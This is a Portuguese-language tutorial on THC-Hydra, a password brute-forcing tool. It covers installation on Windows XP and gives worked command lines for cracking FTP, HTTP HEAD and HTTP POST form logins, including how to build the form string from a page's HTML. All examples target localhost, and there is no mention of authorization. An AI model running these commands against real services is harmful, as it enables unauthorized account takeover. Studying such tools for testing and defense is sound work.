* THC-Hydra:Open Source/Multiplataforma/
* Desenvolvido por uma organização Alemã chamada "The Hacker's Choice"(THC).
* O Programa pode ser adquirido gratuitamente no site oficial do projeto : http://freeworld.thc.org/thc-hydra/

Hydra usa um mecanismo de FORÇA BRUTA/BRUTE FORCE (ou busca exaustiva):
Este tipo de ataque consiste em fazer o programa trabalhar exaustivamente tentando combinações de
senhas e nomes de usuários ate chegar ao seu objetivo obvio.

Protocolos suportados atualmente na versão 5.4:
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable
===================================================================================
[0x00] Instalando THC-HYDRA no (Windows XP) :
===================================================================================
O Primeiro passo é fazer o download da V.Win32/Cywin do programa no site oficial,descompactar e rodar.

-> Criar uma variável de ambiente em :
painel de controle > sistema > aba avançado > variáveis de ambiente e adicionando o caminho em path.
exemplo: C:\hydra-5.4-win;

===================================================================================
[0x01] Executando :
===================================================================================
Rode 'hydra' no prompt de comandos para chamar o programa.

[0x03] Exemplos:
===================================================================================
Colocarei na pratica as opções já explicadas no índice [0x02] deste tutorial.

Exemplo (1) FTP
===================================================================================
Sintaxe:
-----------------------------------------------------------------------------------
hydra -l root -P pass.txt -s 21 localhost ftp
-----------------------------------------------------------------------------------

*[21][ftp] host: 127.0.0.1 login: root password: chaw123 -> Esta saída mostra que foi encontrado a senha:chaw123
pertencente ao usuário root.

Exemplo (2) http-head
===================================================================================
Sintaxe:
-----------------------------------------------------------------------------------
hydra -L users.txt -P pass.txt -o saida.txt localhost http-head /xampp/

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

O Hydra encontrou usuario:root||senha:Est2yu e fez o favor de salvar no arquivo 'saida.txt'.

Dentro do arquivo foi escrito as seguintes linhas pelo programa:
-----------------------------------------------------------------------------------
# Hydra v5.4 run at 2010-01-27 19:59:59 on localhost http-head (hydra -L users.txt -P

-----------------------------------------------------------------------------------
/xammp/ é o caminho/path -> http://localhost/xammp/

Exemplo (3) http-post-form
===================================================================================
Sintaxe:
-----------------------------------------------------------------------------------
hydra -l admin -P pass.txt -o saida.txt -t 1 -f 127.0.0.1

-> Para criar esta sintaxe tive que olhar o código da pagina >>
-----------------------------------------------------------------------------------
<form action="index.php" method="POST">
<input type="text" name="nome" /><BR><br>
<input type="password" name="senha" /><br><br>
<input type="submit" name="boo" value="Enviar">
<br>
</form>
-----------------------------------------------------------------------------------

|_Concluído________________________________________________|

-> POST index.php nome=^USER^&senha=^PASS^&boo=Enviar
-> Use o complemento 'live HTTP headers' para Firefox que com toda certeza facilitara bastante sua vida.
-> Quando envio dados errados a pagina me retorna 'invalido' no titulo.
-----------------------------------------------------------------------------------
<title>invalido</title>
-----------------------------------------------------------------------------------

Complete ->
-----------------------------------------------------------------------------------
hydra -l [usuário] -P [lista-senhas] -o saida.txt -t 1 -f [host] http-post-form
"[destino]:[nome_da_variável]=^USER^&[nome_da_variável]=^PASS^:[frase de erro]"
-----------------------------------------------------------------------------------

Completo ->
-----------------------------------------------------------------------------------
hydra -l admin -P pass.txt -o saida.txt -t 1 -f 127.0.0.1 http-post-form "index.php:nome=^USER^&senha=^PASS^:<title>invalido</title>"
-----------------------------------------------------------------------------------

Sendo que ^USER^ e ^PASS^ sera completado pelo hydra durante o loop que ele vai fazer testando senha por senha.
-> ^USER^ = admin e ^PASS^ = $_ <-

Outro exemplo -> http://localhost/login/login.html
-> Codigo fonte da pagina >>
-----------------------------------------------------------------------------------
<form action="login_vai.php" method="post"><br>
Login: <input type="text" name="login"><br>
Senha: <input type="password" name="senha"><br>
<input type="submit" value="OK!">
</form>
-----------------------------------------------------------------------------------

Sintaxe:
-----------------------------------------------------------------------------------
hydra -l admin -P pass.txt localhost http-post-form "/login/login_vai.php:login=^USER^&senha=^PASS^:Senha inválida!"
-----------------------------------------------------------------------------------
